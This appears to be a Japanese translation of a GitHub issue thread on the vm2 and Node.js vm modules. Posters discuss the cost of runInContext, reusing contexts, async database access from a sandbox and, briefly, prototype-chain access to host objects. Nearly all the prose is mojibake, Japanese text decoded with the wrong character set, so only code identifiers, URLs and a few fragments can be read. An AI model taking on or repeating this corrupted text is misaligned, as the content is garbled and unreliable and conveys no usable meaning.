console.log(util.inspect(out) + '\n' + util.inspect(ctx) + '\n');
ããã§ã¯ãäž¡æ¹ã®ãã¹ãã§ãctxããªããžã§ã¯ããæ¯ååäœæãããŸãããã³ã³ããã¹ãã¯1åã ãäœæãããŸãã æéå·®ã¯6ãã14ã®ç¯å²ã«æ»ããŸãã ããããæ¯åã³ã³ããã¹ããåäœæããè¡ã®ã³ã¡ã³ããå€ããšãæ倧144åé ããªããŸããã
@ Eric24ããªãã¯ç§ã®åã®æçš¿ã§ç§ãèšã£ãããšããã£ãŠããŸãã ð script.runInContext()
ãåé¡ã§ãã ããã¯ãïŒç°ãªãv8ã³ã³ããã¹ãã§ïŒ eval()
ãåŒã³åºãã®ãšå®è³ªçã«åãã§ãã
ããã©ãŒãã³ã¹ã®åé¡ã解決ãã解決çã¯ã runInContext
1ååŒã³åºããŠã³ãŒããã³ã³ãã€ã«ããè¿ãããåç
§ãŸãã¯å
¥ååŒæ°ãšããŠæå®ããåç
§ãä»ããŠã³ã³ãã€ã«ãããã³ãŒããšå¯Ÿè©±ããããšã§ãã ããšãã°ããµã³ãããã¯ã¹ãšã®åæ¹åéä¿¡ã®ããã«ããã€ãã®new Event()
ãªããžã§ã¯ããæž¡ããŸãã ããã¯ã[ãŸã å
éšã®ãµã³ãããã¯ã¹ã§ãããæ¿æ²»çãªçç±ã§ãªãŒãã³ãœãŒã¹åãããŠããªã] vm
ã©ãããŒãè¡ãããšã§ããããªãŒããŒãããã¯å®å
šã«ç¡èŠã§ããŸãã
@parasyte ïŒ
ãããã runInContext
ã¯ã³ãŒããã³ã³ãã€ã«ããŸãã èããŠã¿ãŠãã ããã v8ã¯ãžã£ã¹ãã€ã³ã¿ã€ã ã³ã³ãã€ã©ã§ãã ã³ã³ãã€ã«ããã«ã¯ã³ãŒããå®è¡ããå¿
èŠããããŸãã
@parasyte ïŒOKã§ãããnode.jsã®ããã¥ã¡ã³ãããïŒ
_vm.Scriptã¯ã©ã¹ã®ã€ã³ã¹ã¿ã³ã¹ã«ã¯ãç¹å®ã®ãµã³ãããã¯ã¹ïŒãŸãã¯ãã³ã³ããã¹ããïŒã§å®è¡ã§ããã³ã³ãã€ã«æžã¿ã¹ã¯ãªãããå«ãŸããŠããŸãã
@ Eric24ããã¥ã¡ã³ãã¯ã¡ãã£ãšçŽããããã§ãã é¢é£ããã³ãŒãã¹ããããã¯ãã€ã³ã¿ããªã¿ãJavaScriptããã€ãã³ãŒãã«ã³ã³ãã€ã«ããã®ãšåãæå³ã§ãã³ã³ãã€ã«ããããŸãã JSã¯ã Script
ãªããžã§ã¯ããã€ã³ã¹ã¿ã³ã¹åãããåŸãã€ã³ã¿ãŒããªã¿ãŒãä»ããŠå®è¡ã§ããŸãããv8ããã®ããã©ãŒãã³ã¹ã®åäžã®å€§éšåã¯ããã®è§£éãããäžéè¡šçŸããã€ãã£ããã·ã³ã³ãŒãã«ã³ã³ãã€ã«ããããšã«ãã£ãŠåŸãããŸãã åŸè
ã®ã¹ãããã¯ã runInContext
ãåŒã³åºããããŸã§éå§ãããŸããã
å®éã«ã¯ãJITãæé©åãæ€èšããåã«ã³ãŒãããŠã©ãŒã ã¢ããããå¿ èŠããããããJITã³ã³ãã€ã©ã®ã©ã€ããµã€ã¯ã«ã¯ãããããè€éã§ãã 詳现ã«èå³ãããå Žåã¯ãã€ã³ã¿ãŒãããäžã«ããããã®èªã¿ç©ããããŸãã
ãã ããããŒãããŒã¿ãæäŸããããã«ã runInContext
é¢é£ãããœãŒã¹ã³ãŒãã次ã«ç€ºããŸããhttpsïŒ
realRunInContext
åç
§ã¯ãC ++ contextify
ã¢ãžã¥ãŒã«ããã®ãã®ã§ãã ããã§èŠã€ããããšãã§ããŸãïŒ https ïŒ
ãã®C ++ã³ãŒãã®æãéèŠãªéšåã¯ãããããEvalMachine
ã®åŒã³åºãã§ããããã¯ãã³ã³ãã€ã«ãããã³ãŒããçŸåšã®ã³ã³ããã¹ãã«ãã€ã³ããã script->Run()
ãåŒã³åºããŠJITã³ã³ãã€ã©ãŒãéå§ããŸãã ãã¡ããããããæé©åããã³ãŒããæ¢ãå§ãããã®ã§ãã
ã圹ã«ç«ãŠã°å¹žãã§ãã
@parasyte ïŒã¯ããããã¯åœ¹ã«ç«ã¡ãŸãã ããããšãïŒ
vm2ãµã³ãããã¯ã¹ã䜿çšãã1ã€ã®å®è£ ã«èŠåŽããŠããŸãã vm2ãµã³ãããã¯ã¹å ã§éåæã³ãŒããåŒã³åºãããšã¯ã§ããŸããïŒ ãã®çç±ã¯ãvm2ã®ãµã³ãããã¯ã¹ããMysqlã®ãããªããŒã¿ãœãŒã¹ã«æ¥ç¶ããå¿ èŠãããããã§ãã
ã¯ãããµã³ãããã¯ã¹å
ã§éåæåŸ
æ©ã§ããŸãããã©ã®ãããªåé¡ããããŸããïŒ
ä¿¡é Œã§ããªãã³ãŒããå®è¡ããŠããå Žåã¯ãããããå®è¡ããããªãããšãèŠããŠãããŠãã ããã
ãµã³ãããã¯ã¹ãžã®å®å
šãªSQLã¢ã¯ã»ã¹ãèš±å¯ããŸãã 代ããã«ãããããè¿œå ããå¿
èŠããããŸã
ãµã³ãããã¯ã¹ãžã®getdataïŒïŒã¡ãœãããµã³ãããã¯ã¹ã®å€éšã§ã³ãŒããå®è¡ãã
å®éã®SQLæ¥ç¶ãçºçããŸãã
2017幎10æ24æ¥ç«ææ¥åå6æ49åRajagopalSomasundaram <
[email protected]>ã¯æ¬¡ã®ããã«æžããŠããŸãïŒ
vm2ãµã³ãããã¯ã¹ã䜿çšãã1ã€ã®å®è£ ã«èŠåŽããŠããŸãã é»è©±ããŠãããã§ãã
vm2ãµã³ãããã¯ã¹å ã®éåæã³ãŒãïŒ çç±ã¯ãã«æ¥ç¶ããå¿ èŠããããšããããšã§ã
vm2ã®ãµã³ãããã¯ã¹ããã®Mysqlã®ãããªããŒã¿ãœãŒã¹ïŒâ
ããªããèšåãããã®ã§ããªãã¯ãããåãåã£ãŠããŸãã
ãã®ã¡ãŒã«ã«çŽæ¥è¿ä¿¡ããGitHubã§è¡šç€ºããŠãã ãã
https://github.com/patriksimek/vm2/issues/32#issuecomment-338978717 ããŸãã¯ãã¥ãŒã
ã¹ã¬ãã
https://github.com/notifications/unsubscribe-auth/AOeY7Kir6Mm_k_P2ZhR3tdQzZQPknTNZks5svdz0gaJpZM4I22m8
ã
@ Eric24ã¯ãæ°ããé¢æ°ïŒïŒãã®ä»£æ¿æ¡ãå ±æããããšãå¿ãããŠããŸããïŒ VMããããããã«èŠããŸã
@platinumindustries ïŒçµå±ã®ãšãããç§ã¯å®éã«ã¯ã
@ Eric24ããã§ã¯ããããã ãŸããNodeJS 10.9 *ã®æ°ããããŒãžã§ã³ã§ã¯ãvmã§evalïŒïŒãç¡å¹ã«ãããªãã·ã§ã³ããã
å€ãã¹ã¬ããã«é£ã³èŸŒãã§æ¬åœã«ç³ãèš³ãããŸããã
ãã ããå®éã®ã¿ãŒã²ãããŠãŒã¹ã±ãŒã¹ã§ã¯ãå®è¡ããšã«äžæã§ãããæ°ããã³ã³ããã¹ãã§éå§ããå¿ èŠããããããæ¯åã³ã³ããã¹ããåäœæããå¿ èŠããããŸãïŒã³ã³ãã€ã«ãããã¹ã¯ãªããããã£ãã·ã¥ã§ããå¯èœæ§ããããŸãïŒã
@ Eric24ãµãŒããŒã¢ããªã±ãŒã·ã§ã³å
ã§vm2
ã䜿çšããŠä»»æã®ã³ãŒããå®è¡ããå¯èœæ§ãããæ¹æ³ã調ã¹ãŠããŸãã çä¿¡ãªã¯ãšã¹ãããVMå
ã§å®è¡ãããŠããã³ãŒãã«ãã©ã¡ãŒã¿ãŒ/åŒæ°ãæž¡ãæ¹æ³ãæ€èšããŠãããããç§ã®ãŠãŒã¹ã±ãŒã¹ã¯ããªããèšåãããã®ãšäŒŒãŠãããšæããŸãã
ä»ã®ãšããããããè¡ãããã«ç§ãèŠãããšãã§ããå¯äžã®æ¹æ³ã¯ãæ¯åæ°ããã³ã³ããã¹ããäœæããããšã§ãããããã¯æ¬åœã«é
ãã§ãã 1ã€ã®ã³ã³ããã¹ããªããžã§ã¯ããåå©çšã§ãããã©ããã調ã¹ãããšããŠããŸãããä»ã®ã¡ã«ããºã ã䜿çšããŠãVMå
ã§å®è¡ãããŠããã³ãŒãã«ããŒã¿ãæäŸããŠããŸãã @parasyteã¯ã Event()
ãªããžã§ã¯ãã䜿çšããåæ¹åéä¿¡ã«ã€ããŠäœãèšåããŸããããããã¯ç§ã«ã¯å®å
šã«ã¯æ確ã§ã¯ãããŸããã§ããã
åæ§ã®åé¡ãçºçãããã©ããçåã«æã£ãŠããŸããããçºçããå Žåã¯ãã©ã®ããã«è§£æ±ºãããã«ã€ããŠããã€ãã®ãã³ããå ±æããŠããã ããŸãããã 埡æéããããšãããããŸãã
@darahayes ïŒå®éãå®è¡ããšã«æ°ããã³ã³ããã¹ããäœæããŠããŸããããããé ããšã¯ãŸã£ããæããŠããŸããã æåŸ ããŠããããã©ãŒãã³ã¹ãšæ¯ã¹ãŠãã©ã®ãããªããã©ãŒãã³ã¹ãèŠãããŸããïŒ ãããŠãã©ã®ããã«ããã©ãŒãã³ã¹ã枬å®ããŠããŸããïŒ
å®è¡ããšã«æ°ããnodejsããã»ã¹ãã¹ãã³ã¢ããããŠããŸãããããã»ã©æªãã¯ãªãã100ããªç§æªæºã®é 延ã§ãã
æãåèã«ãªãã³ã¡ã³ã
ããïŒ ããªãã¯è¿œãã€ããŠããŸãïŒ ;ïŒãã®ããã«ããªããå°ããŠãããããšããè©«ã³ããªããã°ãªããŸããã ããã«ãããã¹ãŠã®èŽè¡ã®ããã«; node.jsã®VMã¹ã³ãŒãã®åé¡ã¯ããã¹ãã¹ã³ãŒãå ã®ãªããžã§ã¯ããžã®åç §ã«ãããŸãïŒãããã¿ã€ããã§ãŒã³ãä»ããŠãã¹ãŠã®ãã¹ãã¹ã³ãŒããžã®åç §ãååŸã§ããŸãïŒã
constructor
ããããã£ããªãŒããŒã©ã€ãããã®ã§ããã®äžã«ç§»åããå¿ èŠããããŸãã